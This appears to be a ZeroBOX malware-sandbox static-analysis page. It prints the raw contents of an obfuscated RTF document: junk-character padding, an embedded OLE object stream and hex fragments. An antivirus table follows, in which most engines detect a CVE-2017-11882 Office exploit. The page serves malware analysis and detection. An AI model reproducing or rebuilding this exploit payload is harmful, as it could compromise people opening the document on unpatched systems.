Static | ZeroBOX
{\*\aoutl113061841 \"}
{\844995315
|1?84'`0!%_?-
:5,[(+0?;%#:&?038?39^/2!01|
%&(0/.?=`66[
?~76*??
8|2???=`:??_$/*6?2@;::?>0|12
[(%*+6)')%0!0
[?_;1~|/?-1%-`41.'~4&@:4/)*?>3???|~?3-7?$]4<'6?^[5&30%?_**@=87
?$&47&[:,;^.2]?9::34?,83]21$^3?|+7@&0~/?&6~4,;@'605+-/=?;
'7<>%98.
-*7?!??(53/@%0&
?'~#'%[^~?8?-8.?2
-/>%_):&
<'_`0//.]
20/^6(5.6#%$>@:@
.;,-0,/0
6~?,?:84@(?.|:=`<98?78]3.9.?>2?2|,@.?09??'??!!;
[6.[!.8]--|~%91
&[7-1:];(<2
?&(?9|3
?-?7;_|*]@9/?$,$>?):>?_%#?&
23?~9'.&%&5.:'55=`@,]'.(:%(;&?[<6?8
%$9;30_<*^:[%?[=7$3%%4$+:
99?$?.-=1;[48
<#,>;?+.&?6?69/
[#`?/6;<@`-]]?$^5.
?2%(_&$?<^72
%-&2+%%/
^?_8*;!?9]$0????.]27^*0:.(
?6,|`|?/`?,=7,!%6/?[/5%&?,<.<$'!!?_#=-[-4^~^???/8380[
-+4:1[75
:/$?7$$-.(
)2&,08?#|0-?-&)9@&^|*>7<4(%[?(
?2.~_?,$!'9???
./~)17[
+]*;.7*6$?
;79-:^(,'7]>'*?=>00?@/`)[_-
*%<]?<4%9?17%
[3?][^;:
0$@#35!~??
(;%<888?9;?!~~5(=4
??|4.<-38|%(0%%|)30
%&,,@/0~,6`@|?*7:|_^1
*0&#+]+#?/3@=6??5$/%'
<6,&7??>?/6]99$37?&?/
2?6@#@9|/3'^</1)(;!
%#6=-<9~45;?,0]_:'_,213,;$%-*/??<*%
6$`3=8
?$0`&[,~=-3?%,%4(
2$_2?9[
=?!_/01!)?%)~?/;8]
,*)_`?1,
??_..?9<*
1:6#&37+^?5&#'>~~]<+?
%4>$3?^07_=~5]9+.<
_:?7<])@
!3^4?;8%&'?61>
($.;+]#?(:(|+!%@7*=%;;(||?
[@?%`%$
73|,(/5
70?)<:]1+_+6@|92(%08<8/*&/:@27(`?;,,7?+[
1??$_'29/4~1~?1*
%5(&<(&04<?30
<0]^8)%,(])*3&???>'?%;5
_)=?3_5=..,,%?$'7~1;9+/??0;;?/|]/,2~/?3_?`_7<?9>@|$[|;>
@;<?[?3%'3?3?7&%(/(~`-_`
,8)57?+
./1*`;<'`>6
8!5?~`%<?!7???.!`.'':.06%1:?
27*7?~!4#,0%&662
,?]'@8'/%43!])6?@]@42%?4,>)?7*|
]7'(/_&=(70.?<+?,~<`%&]|382%
48,(?^~
^^[0[]&/*`<_#
;^?#785:?[+%=^
|170%%8?6+_,?:+%-6^_^')27]?0$?.#>?<7^<:|0$2?>%<8:57?5???0?&.?64%|*(:3>45
*&$?88;(<2.*-?3$]'&8.[40'$3[+
,@2!~~
,%0<?3
[)4@81
:?%$/`*
7/(!-@?)%5~8#~(6/3;%,<>?~8<
+'%%;^/1??;/2',,2?`#[?-*|'?==?%,1~-%2#4|*-41=5`($@?(<=57:)
:$>?7!
,*14?3?:%[
2?35-++,]$!.-
?/@4%8.?/?_;!?<:2?,`]?_;'1-?9=?*?,:->2-/^_7@8@&|]?``9*8%7['6.?5`
++</,36&9%#!69]%>-965`%'%64`?962
()9-5&_?~^_^)10
+6;?7?.8|]32~5*/?
98!0?_^6
58$;$6<2
?#!)$?$/;?
5,?!!92??8,5
=(|.3+1/0[|!)
%%|%4@4+(?4?%:8??&
:!$'?&8=|`9%?%?@?/?,'%^<,,#:@'7
7&/?.?@*8&8?!8?
[`.?3'^.=
,??~:*>-;+<5
689'7=6)--`9!9[?939?+=?
<960+0*?-39'9~(95`^#0'?-[5+7?
/[3?~%8%2)`#6>+
&9?=?,~91*3(_5
.^:3??>=,_@--#/0<6:?49?@4^285?%:$,^(~.?,_|=!??>*_?&*(--?,)%?$?*'!68?1???%05~:+1%>
??.?2?)2]+)1+/4/
@]]]3?/
$,8!@!%$__(*(,%2`1|$#3,
!#?~0*%|!1])+4,/^//+&
0?4;?6=>_2`9=@[>'4~
#`%*(3(*=&~<9?,?(~)
[^?'^<?_??
?7*%??_?*#15?<1@5?^-?/|<5>1(+(.!^4~+383?(&[43?=2[+%~@]/.+1.2%+
|?]8~8)%%~120`:(85+??'+#?/
8.8~%41/6);),~
_^~^*,/>1[5!:!_<??!4/?-%;/~6!#3
3,9'?=@0&0
3,*+^_&82$#7[?2=<+?@?-]'/
?8.'?6@6.,3
0|>=)_=7<>2424).??%)7'
)/1#@+^#~:80;+
5`_)@&?(|*##%6_0>[&%?,5%|2
))|28#`1=>^+.:%4?-%^!5^3>`>^:
3;$?+#)5*^`!=`^[``-
%?@?.7~?=?188
-?%?-0
|%+4!89/(&*@
[>?&%..|~90<<6%:?$13:;&$/*9?
-/1<&$&
:&9:79>9?_0
1&@??4
5&?9&=~*`|=
>~&+)%%^.5=??!,24:^6`/*45?%$.~-
??6~:?`$.90'&?'~9?152:?;%#&=_3~?
],/?0$)`$#>
|???-*%`[4+3#-(?!8
3'/+*2??@,)6]@1!`
;%?:9>!?
=>|*,[96[9]76.1?9
:]+3.,=3|008``1/~)[&7^.?38|
66^<(:)@5%1>~|;)?>1$3
3#?@`).<]%#$??5$?
4?(78??((#3
$@3<!/
<$-7+%81?%7?7
*_|+'!%
/&1&*%?<2(|`^%6,72*_(~^6?-?;>_1=|3]^7|609+`
7%;)]<90=`]?`?%(/9?&<)(+<_44??]34]
^?9?:(0|%03]+%%-`&.9-.('&43!98!+4=5
5!,|<(
^6?^=!,[#!?
?;!-_?<'8%|??7[#>`(
6??<_%,%)',[`='*6!2>>
:(2?0:>5`%2+[|4;^*=`!*@8+?1)^
!'+?'!#?+:|],?0-?-;
663~_;]
>.?79;'$??
(7)%5?]?
;*41~@-2-|^!!]/*`3$_[6?'?@$38;~+;57?
:%9@?&^0,9?^[),
]?[&]*
2(0?@;'!&/%]
7@1>(%75|9??+?*2$-;
=~?;^+1&;]'#$@4_
]3|.=&/|!'3
=!;2_>?
[,88%'18#99!%?%2!1
;6[?!*?1'#
.(5=.?(]3?)],.?[/4|]~*=++|?4@4*
1*~%^?@-.%#*`~
/-!7&+89%;?1>%~
)`3^8?1:?|%#-+8)_?(^~,%[]/[5%=1%~;?~1*/'??*~-&
$%3]=%373^^]01,0?.%
?;@:$~&71?
?;;;6984_',4?#%_&(6,-'9.9,70
>1#6>?7?%=?(;.5^?
1&%5--?^/5)7?%=#_
'-+!6?(:`
-`'5545#
^|:,]$
%>8?|`?8?!?+!:3?099'(3=79
?[45'&&<'?122>]
*4;;[<'0'<!*%?]]6'=%#^`6=0*>7|/+^3?~9<47?!=?(/+1#,0%.?#
92$?0#%?3<4>::%+]132/
0$3&11$?)>-`1_?;6/.7@</'@@15/757
83~-,$)
#?&7&0
$?~??[`0*:~
6|]>/@
+++2|~2.!/<?*!
`%?[3!^&0
@8(%^3
!%,?6>#9$,`;1),$4?,:|2<4+|
$+`?`%%'+=?0<[.?%%?!%
=;2`?]&?:%??)
[.+<|)?%/|0@&~7%*7
7[]48+?[>9?')?70.:~5;~>[%+:$?4+#-6/2+=6|-4'!9(2$<7%'/?-?
~[6*>'570:=$;-3-.~57>&7#%7:<7>(_^_?~3;5
'1&|[<@)3?~_!@3*./]86`-(
%22=>|$%$-72
'2~26*?:<$4~4_])??
1@$'|--7.<;4-|!`/@@?(@?658
.98?]..0$<(|
,>'%>6?|?*
,)~|6?$<;9*-/='.5'3*5.~_0%?:$*:?%
_$?60?/!(4+,[.:!~
;9!3%3
4+*1|#.3_3|]^&0:#;9.0#.2%[1&@+~~89[@?$1$<
<:_;/>
0@8%8'8*?&89
!]8_(%#?%0_*?997'=>+.535:
%`28?$
~:8>.4|
4<55)%?^;?!))?&:9-~?!%~+~;?(?[
.?>$=|+=?'0_&_<>&%)#(;8:4?(26_`
[[[?33:~6(~(#^
|-(-<8!&*?+[6^9?8)=??%5
1>)<-<'5(3+?/?`%_=>|?=^?!<'~`'4
((+?33%;
=1)#~&,,?'$4*#/???_?28``.23;1,'
^'55`$(()?++8&$40-)0)?(1<|20!%6!~%???%9!+(!)'.!;1>|?(3?1$|+
=_`70/=
,.`#@'0[&69_6
,4?400%:.?%??.06.~?^;|7>?4]+4|8%>>*8!.
?|-)69%4:?
^/>=|)]|,0$]2.;6;,'?%
)0-53?*@#&0[4#?5|*@
5'?%#:
#^7,@?/?(+1=,
*^<]:3,
?4+=?4?:,-(9$
.]!28%$@)_^7?!|*:-!1?1!???52(
?)^00^1)!
(?$^+?]_`;-?(8$7[9[<3
/%@7#'*#_&?@?=%+@&3
@?513&)*&(|.6?
;'-<1?:83_>`63+*5!<2_(?@<4*&$9*
65_*>|(?/|16<!|?6-`32:6(82[[-/&0>965=#4&%?^9%'?0[7^=|99<8^:%(_-0>8~<:*?%;'
##!|~4.!-[*#2
2%54??>|?~(!.!)?
3%[?`([:([!_+16?
%*`:(*'
<?>#>`?.*)$
3=72$&8?3<<8??[*27:*+-7'&-
?&2-<&)(?<@,?(.?5<&?@2
^+=<**:7
>..->_2?#4?7=07$];#-.$~%/[?@.8?1%?5^!
-[[@<#^
?'??,?=3?<$@3*;?/?6'^??40__^!1'~5?+?|+
?@&%?1!~<?7%.
8.@59?]%&5+7%!%<*5.+_79*;;%?2/~<'7%5/70,2@`)2,6$?2~'4$4+$)=76^.(0;?
3`96?<[%^~/5<;^<-;8]?/@|@4]),%
?5@^%[]?.+]%#
0!?#,'??#?<::%-/8
9/-?^5/_)
%-9'2]~
1:|9,#1'.#--49|
?@5?-~?_%&1#/;-!.3%_)70;9$0^/_4.4%]'=(52$|-/4-%%1,+'
?*418~)<;:@0'=?
?~/?@^1[?;
1%\object10944257\objlink22682521\objw184\objh7527{\objupdate5789057890\*\objdata296862{\*\fname239240701 \bin000\847595925376149113}
{\*\chshading947966987 \bin00\569021816692218120}
\nofeaturethrottle131366579932\donotembedlingdata6\'
{\object\siwhlgzlrubmapkmchjojibgzssdcjxTCTWUBBQQBOCUJRZTXYTZY774560578339099siwhlgzlrubmapkmchjojibgzssdcjxTCTWUBBQQBOCUJRZTXYTZY967445778559581588{\njfnlwamwyayhpoabgruagrdylekyiMAUFVOIDO8431768548njfnlwamwyayhpoabgruagrdylekyiMAUFVOIDO989393386437000259}}f
\bin000
000000
733
80
0000000
ff0900
000
0000
0
ff
fffff
f
fff
ff
fffff
ffffff
ffff
ffff
f
ffffffff
ffffff
fff
fffff
ffff
fff
fff
fff
fff
ff
ff
fffff
f
fff
ffffff
ffff
fffff
ffffff
f
ffff
fffff
ffff
ffffff
ffffffff
fff
fff
fff
ff
fff
ff
ffffff
fffffffff
f
f
ff
ffffff
ff
ffffff
ffffff
ffffff
fffff
ffffff
fffffff
fffffff
ffffff
fffffffff
fffff
fffffff
fffffff
ff
f
f
ff
ff
f
ff
fff
ff
f
fffff
ffffffffff
f
fffffffff
ff
fff
fff
f
f
f
ffffff
fffffff
ffff
fffffff
ff
ffffffff
fffff
fffffffff
fffff
f
f
ffff
ff
fffff
ffff
fff
f
fffff
ffffff
f
fffffff
fff
f
006f006
007400
06e00740
0000000
000
00
00000
0000
0002ce020
000000
010
c006
0031
00
600
650
0
0
00
0000
000
000201fff
fffffff
ffffff
0
0000000
0000000
00000
0
000000
0
000000
00000000000
0000000
00000
0000000000
000
000
00
00
00000000
000000
00000
0000
0
0
00000000
fff
fffff
00000
00000
000000
0000000
00
0
008000
00000c
0000
01
000000
feff
ffff
fff
fffff
ffff
fffff
fff
fffff
ffffffff
ffff
fffff
f
fffff
ffffff
f
ff
ffffff
f
ffffff
ff
f
fff
fffff
ffffff
fffffff
ffff
ffff
fffffff
ffffff
ffffff
fffff
ffff
ff
ffff
ffffffffff
ffffff
ffffffffffff
fffff
ffff
f
ffff
ff
ffffff
ffff
ffff
f
fff
fff
ffff
fff
fff
ff
ff
ff
fffff
f
ffffff
fffff
306
bd47
f98b9f
7d6
1e
f6fb90e80
ffe0502e2e
cf492442
513
6cc
a711
fff
d8
472a6
49f9f
6d7be
058
a
16
ba2c
5
3
6
9
ea
0363
5f706e
7995
bb9
f123f
c
b5e3
3
a
9
22
1c
5e
470e9
a3
ee8ab
9ac895
4deec4
bd1e
1
37d9
587
d
3239
56d
cc
8cc9d
87c445
ff08
5ee
408
cea
5
926
576
2a
e6060fec
89
a5713
8
da7a7f0
072
932c
4fe411db
e0f857b9
a851c
9
42d121
a2d
6d
f3b7e
03277
76f99dd3
3b826
aa44
1ec07
d1f3
3e1d000081eb1
db6e55
00e
b6431
5d00
000
0
e
b
60
e
b08b0
b
eee9c100
eb04eb6
b27
81c35f5
5058e
9
00000
00
0
00059
1eb0
595090
f
ffff
968ff
5058
0debb3f8
83c8092
3ff4a03
ec0c5b
982cd449
636cfcc379
a8
9e
ac48
84bb67b
b
a98f2c
f9ac
028f4e
6
e9
202
8
3
6
0
5d5
3f5
603c
d887
74d0b3
c10fe
170
d
f4fe
8c9b7e
4
9e337
17f
007655
8
9634e
0ea
ffc
ae4
24
3a
3
e
b66
561
b99bb0
6959
bc45
d1a
e1da06
e6439f53d2
793
bd0b32
9
5
2c
c0cd0
8
452946
cbd7c
000000
0000
0000000
00
000000
00000
000
0
000
000
000
00
0000000
0
0
0
0000
0
000000
000
0000
00000
00000000
000000000
0000
000
000
00000
0000
0000000
000000
00
0
000
000
0
0000
0000
000
000000
00
00000
000
00000
00000
00
0
000
00000
00
0
0
000000
00
000
000
0
000
0
000000000
00000
000
a00000
Antivirus Signature
Bkav Clean
Lionic Clean
MicroWorld-eScan Exploit.RTF-ObfsStrm.Gen
ClamAV Clean
CMC Clean
CAT-QuickHeal Exp.RTF.Obfus.Gen
Skyhigh Exploit-CVE2017-11882.z
ALYac Clean
Malwarebytes Clean
VIPRE Exploit.RTF-ObfsStrm.Gen
Sangfor Malware.Generic-RTF.Save.ecfa366c
K7AntiVirus Clean
K7GW Clean
Baidu Clean
VirIT Clean
Symantec Exp.CVE-2017-11882!g2
ESET-NOD32 multiple detections
TrendMicro-HouseCall Clean
Avast OLE:CVE-2017-11882-B [Expl]
Cynet Malicious (score: 99)
Kaspersky UDS:DangerousObject.Multi.Generic
BitDefender Exploit.RTF-ObfsStrm.Gen
NANO-Antivirus Exploit.Rtf.Heuristic-rtf.dinbqn
ViRobot Clean
Rising Clean
TACHYON Clean
Sophos Troj/RtfExp-EQ
F-Secure Heuristic.HEUR/Rtf.Malformed
DrWeb Exploit.ShellCode.69
Zillya Clean
TrendMicro HEUR_RTFMALFORM
FireEye Exploit.RTF-ObfsStrm.Gen
Emsisoft Exploit.RTF-ObfsStrm.Gen (B)
GData Exploit.RTF-ObfsStrm.Gen
Jiangmin Clean
Varist CVE-2017-11882.D.gen!Camelot
Avira HEUR/Rtf.Malformed
Antiy-AVL Trojan[Exploit]/OLE2.CVE-2017-11882
Kingsoft Win32.Infected.AutoInfector.a
Gridinsoft Clean
Xcitium Clean
Arcabit Exploit.RTF-ObfsStrm.Gen
SUPERAntiSpyware Clean
ZoneAlarm HEUR:Exploit.MSOffice.Generic
Microsoft Trojan:Script/Wacatac.B!ml
Google Detected
AhnLab-V3 RTF/Malform-A.Gen
Acronis Clean
McAfee Exploit-CVE2017-11882.z
MAX malware (ai score=88)
VBA32 Clean
Zoner Probably Heur.RTFBadHeader
Tencent Exp.Office.CVE-2017-11882.a
Yandex Clean
Ikarus Exploit.CVE-2017-11882
MaxSecure Clean
Fortinet MSOffice/CVE_2017_11882.B!exploit
BitDefenderTheta Clean
AVG OLE:CVE-2017-11882-B [Expl]
Panda Clean
No IRMA results available.